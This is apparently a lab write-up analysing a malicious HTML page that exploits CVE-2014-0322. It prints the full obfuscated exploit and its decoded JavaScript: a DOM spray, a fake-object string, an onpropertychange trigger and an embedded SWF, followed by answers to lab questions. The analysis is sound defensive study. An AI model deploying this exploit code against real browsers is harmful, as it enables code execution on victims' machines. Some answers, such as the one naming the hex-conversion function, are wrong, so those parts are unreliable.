I may not be very familiar with JavaScript, so my explanations might not be perfectly clear. However, I will strive to make my content as understandable as possible, based on my current knowledge.
To make it easier to understand, I will start by answering Q8 first and then analyze the provided HTML file.
Q8: What is the CVE Number assigned to this exploit?
As you can see, when I uploaded the file to VirusTotal, it was tagged with the name CVE-2014-0322.
Analyst
FlashBack.html
<html>
<head id='headId'>
<title>SvWLQAda</title>
<script>
var hDAVYVhp = function (TRdPNtO) {
return TRdPNtO['toString'](36)
};
var mqQUHDzc = '%66%75%6e%63%74%69%6f%6e%20%65%59%6c%52%66%58%28%64%77%6f%72%64%29%7b%76%61%72%20%64%3d%4e%75%6d%62%65%72%28%64%77%6f%72%64%29%5b%27%74%6f%53%74%72%69%6e%67%27%5d%28%31%36%29%3b%77%68%69%6c%65%28%64%5b%27%6c%65%6e%67%74%68%27%5d%3c%38%29%7b%64%3d%27%30%27%2b%64%3b%7d%72%65%74%75%72%6e%20%75%6e%65%73%63%61%70%65%28%27%25%75%27%2b%64%5b%27%73%75%62%73%74%72%27%5d%28%34%2c%38%29%2b%27%25%75%27%2b%64%5b%27%73%75%62%73%74%72%27%5d%28%30%2c%34%29%29%3b%7d%76%61%72%20%67%5f%61%72%72%3d%5b%5d%3b%76%61%72%20%61%72%72%4c%65%6e%3d%30%78%32%35%30%3b%66%75%6e%63%74%69%6f%6e%20%66%75%6e%28%29%7b%76%61%72%20%61%3d%30%3b%66%6f%72%28%61%3d%30%3b%61%3c%61%72%72%4c%65%6e%3b%2b%2b%61%29%7b%67%5f%61%72%72%5b%61%5d%3d%64%6f%63%75%6d%65%6e%74%5b%27%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%27%5d%28%27%64%69%76%27%29%3b%7d%3b%76%61%72%20%62%3d%65%59%6c%52%66%58%28%30%78%64%65%61%64%63%30%64%65%29%3b%76%61%72%20%63%3d%30%78%31%61%31%62%32%30%30%30%3b%77%68%69%6c%65%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3c%30%78%33%36%30%29%7b%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%39%34%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%63%2b%30%78%31%30%2d%30%78%30%63%29%3b%7d%65%6c%73%65%20%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%39%38%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%63%2b%30%78%31%34%2d%30%78%38%29%3b%7d%65%6c%73%65%20%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%61%63%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%63%2d%30%78%31%30%29%3b%7d%65%6c%73%65%20%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%31%35%63%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%30%78%34%32%34%32%34%32%34%32%29%3b%7d%65%6c%73%65%7b%62%2b%3d%65%59%6c%52%66%58%28%30%78%31%61%31%62%32%30%30%30%2d%30%78%31%30%29%3b%7d%7d%3b%76%61%72%20%64%3d%62%5b%27%73%75%62%73%74%72%69%6e%67%27%5d%28%30%2c%28%30%78%33%34%30%2d%32%29%2f%32%29%3b%74%72%79%7b%74%68%69%73%5b%27%6f%75%74%65%72%48%54%4d%4c%27%5d%3d%74%68%69%73%5b%27%6f%75%74%65%72%48%54%4d%4c%27%5d%3b%7d%63%61%74%63%68%28%65%29%7b%7d%43%6f%6c%6c%65%63%74%47%61%72%62%61%67%65%28%29%3b%66%6f%72%28%61%3d%30%3b%61%3c%61%72%72%4c%65%6e%3b%2b%2b%61%29%7b%67%5f%61%72%72%5b%61%5d%5b%27%74%69%74%6c%65%27%5d%3d%64%5b%27%73%75%62%73%74%72%69%6e%67%27%5d%28%30%2c%64%5b%27%6c%65%6e%67%74%68%27%5d%29%3b%7d%7d%66%75%6e%63%74%69%6f%6e%20%70%75%49%48%61%33%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%5b%27%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%27%5d%28%27%73%63%72%69%70%74%27%29%3b%76%61%72%20%62%3d%61%5b%30%5d%3b%62%5b%27%6f%6e%70%72%6f%70%65%72%74%79%63%68%61%6e%67%65%27%5d%3d%66%75%6e%3b%76%61%72%20%63%3d%64%6f%63%75%6d%65%6e%74%5b%27%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%27%5d%28%27%53%45%4c%45%43%54%27%29%3b%63%3d%62%5b%27%61%70%70%65%6e%64%43%68%69%6c%64%27%5d%28%63%29%3b%7d%64%6f%63%75%6d%65%6e%74%5b%27%77%72%69%74%65%27%5d%28%27%3c%65%6d%62%65%64%20%73%72%63%3d%5c%27%65%35%36%64%32%2e%73%77%66%5c%27%20%77%69%64%74%68%3d%5c%27%31%30%30%70%78%5c%27%20%68%65%69%67%68%74%3d%5c%27%31%30%30%70%78%5c%27%3e%3c%2f%65%6d%62%65%64%3e%27%29%3b';
this[hDAVYVhp(693741)](this[hDAVYVhp(2401885046066)](mqQUHDzc));
</script>
<noscript>
<meta http-equiv='refresh' content='0;url=../nojs.php' />
</noscript>
</head>
</html>
This is the HTML file we provided earlier. Let's break it down for easier understanding.
This file has a title SvWLQAda and contains two elements: a <script> and a <noscript>. In a normal browser, the <script> element runs when the page is loaded. However, if JavaScript is disabled, it will redirect to nojs.php in the parent directory.
var hDAVYVhp = function (TRdPNtO) {
return TRdPNtO['toString'](36) // convert to base36
};
The hDAVYVhp variable contains an anonymous function that returns the Base36 representation of the value passed to it.
After understanding what hDAVYVhp does, let's continue explaining the code above. To make it easier to understand, I'll rewrite and format the code to make it more readable.
this.eval(this.unescape(mqQUHDzc));
This line of code decodes the mqQUHDzc variable and then executes it.
function eYlRfX(dword) {
var d = Number(dword)['toString'](16);
while (d['length'] < 8) {
d = '0' + d;
}
return unescape('%u' + d['substr'](4, 8) + '%u' + d['substr'](0, 4));
}
var g_arr = [];
var arrLen = 592;
function fun() {
var a = 0;
for (a = 0; a < arrLen; ++a) {
g_arr[a] = document['createElement']('div');
};
var b = eYlRfX(3735929054);
var c = 437985280;
while (b['length'] < 864) {
if (b['length'] == 148 / 2) {
b += eYlRfX(c + 16 - 12);
} else if (b['length'] == 152 / 2) {
b += eYlRfX(c + 20 - 8);
} else if (b['length'] == 172 / 2) {
b += eYlRfX(c - 16);
} else if (b['length'] == 348 / 2) {
b += eYlRfX(1111638594);
} else {
b += eYlRfX(437985280 - 16);
}
};
var d = b['substring'](0, (832 - 2) / 2);
try {
this['outerHTML'] = this['outerHTML'];
} catch (e) {
}
CollectGarbage();
for (a = 0; a < arrLen; ++a) {
g_arr[a]['title'] = d['substring'](0, d['length']);
}
}
function puIHa3() {
var a = document['getElementsByTagName']('script');
var b = a[0];
b['onpropertychange'] = fun;
var c = document['createElement']('SELECT');
c = b['appendChild'](c);
}
document['write']("<embed src='e56d2.swf' width='100px' height='100px'></embed>");
Here, I have the decoded version of the mqQUHDzc variable. We know that this variable will be executed using eval(). Let's break it down to see what it will do.
function eYlRfX(dword) {
var d = Number(dword)['toString'](16); // convert to hex
while (d['length'] < 8) {
d = '0' + d;
}
// return specific format
return unescape('%u' + d['substr'](4, 8) + '%u' + d['substr'](0, 4));
}
The eYlRfX function encodes the value passed to it into hexadecimal and stores it in the d variable. If the length is less than 8, it pads the value by adding '0' at the first index. Finally, the code constructs a string for unescape(), starting with %u, followed by characters from d at indexes 4 to 8, another %u, and characters from indexes 0 to 4
function puIHa3() {
var a = document['getElementsByTagName']('script'); // Find all <script> elements
var b = a[0]; // return first element (b)
b['onpropertychange'] = fun; // trigger if elements in <script> change
var c = document['createElement']('SELECT'); // create new <select> element
c = b['appendChild'](c); // append <select> element to <script>
}
I will discuss the puIHa3 function before explaining the fun function, as it is responsible for triggering the exploitation. Specifically, the puIHa3 function retrieves all <script> elements and stores them in a variable. The b variable is then assigned the first <script> element. Importantly, the onpropertychange property of b is set, which is the vulnerability used to exploit the Use-After-Free (UaF) issue described in CVE-2014-0322. Following this, a <select> element is created and appended to the <script> element.
The puIHa3 function is called when the e56d3 Flash file is loaded.
function fun() {
var a = 0;
for (a = 0; a < arrLen; ++a) {
g_arr[a] = document['createElement']('div');
};
// Build a new Object
var b = eYlRfX(3735929054);
var c = 437985280;
while (b['length'] < 864) {
if (b['length'] == 148 / 2) {
b += eYlRfX(c + 16 - 12);
} else if (b['length'] == 152 / 2) {
b += eYlRfX(c + 20 - 8);
} else if (b['length'] == 172 / 2) {
b += eYlRfX(c - 16);
} else if (b['length'] == 348 / 2) {
b += eYlRfX(1111638594);
} else {
b += eYlRfX(437985280 - 16);
}
};
var d = b['substring'](0, (832 - 2) / 2);
// trigger
try {
this['outerHTML'] = this['outerHTML'];
} catch (e) {
}
CollectGarbage();
// Replace freed object
for (a = 0; a < arrLen; ++a) {
g_arr[a]['title'] = d['substring'](0, d['length']);
}
}
As we know, the fun function plays a crucial role in the exploit, being responsible for triggering the Use-after-Free (UaF) vulnerability. Let's delve into its behavior and uncover how it works.
var a = 0;
for (a = 0; a < arrLen; ++a) {
g_arr[a] = document['createElement']('div');
};
The preceding line of code creates 592 <div> elements, as specified by the arrLen variable.
// Build a new object
var b = eYlRfX(3735929054);
var c = 437985280;
while (b['length'] < 864) {
if (b['length'] == 148 / 2) {
b += eYlRfX(c + 16 - 12);
} else if (b['length'] == 152 / 2) {
b += eYlRfX(c + 20 - 8);
} else if (b['length'] == 172 / 2) {
b += eYlRfX(c - 16);
} else if (b['length'] == 348 / 2) {
b += eYlRfX(1111638594);
} else {
b += eYlRfX(437985280 - 16);
}
};
This block of code is responsible for generating the shellcode.
var d = b['substring'](0, (832 - 2) / 2);
Afterward, the shellcode is split and assigned to the d variable. This payload is used for Remote Code Execution (RCE).
This code triggers a reflow or repaint of the DOM by manipulating the outerHTML property. In a Use-After-Free (UaF) vulnerability, this can cause the browser to use memory that has already been freed, allowing the exploit to access or modify it.
Reading the value of outerHTML returns a string containing an HTML serialization of the element and its descendants. Setting the value of outerHTML replaces the element and all of its descendants with a new DOM tree constructed by parsing the specified htmlString.
CollectGarbage();
for (a = 0; a < arrLen; ++a) {
g_arr[a]['title'] = d['substring'](0, d['length']);
}
In the code, CollectGarbage() is used to explicitly trigger garbage collection in JavaScript. Forcing garbage collection can make it easier to manipulate memory after an object has been freed, which helps trigger the Use-After-Free (UAF) vulnerability more reliably.
Garbage Collection (GC) is a process in which the browser automatically frees up memory by removing objects that are no longer in use or referenced.
The for loop is used to assign the payload to the freed object.
This is everything I can understand about this script, with the help of GPT and some references I have used.
Now, I will proceed to answer the questions for this lab.
Q1: What function do you identify as responsible for converting input to a base 36 string?
It is the hDAVYVhp function. The function returns the Base36 representation of the value passed to it, using the toString method from JavaScript's prototype
Q2: What is the name of the function that converts numbers to hexadecimal strings with specific formatting?
It is the mqQUHDzcfunction. It converts the value passed to it into hexadecimal, applies padding if necessary, and then unescapes() the value with a specific format.
Q3: What is the name of the array that stores developer (div) elements?
It is the g_arrarray that is defined.
Q4: What is the length of the array storing developer elements in decimal?
It is 592 that is defined.
Q5: If JavaScript is disabled in the browser, which endpoint is accessed instead?
It is the nojs.php file. The <noscript> element is used when JavaScript cannot run in the browser.
Q6: What is the name of the function responsible for triggering the exploit?
It is the puIHa3function. This function is used to trigger the Use-After-Free (UaF) exploit and is called through an embedded Flash file.
Q7: What is the name of the flash file embedded within the code?
It is the e56d2.swf file. This file is embedded in the browser when the mqQUHDzcfunction is executed."
The function computes a new string in which hexadecimal escape sequences are replaced with the characters that they represent.
The method of values returns the part of this string from the start index up to and excluding the end index, or to the end of the string if no end index is supplied.
The event is an Internet Explorer-specific event that fires when a property of an HTML element changes.
The attribute of the DOM interface gets the serialized HTML fragment describing the element including its descendants. It can also be set to replace the element with nodes parsed from the given string.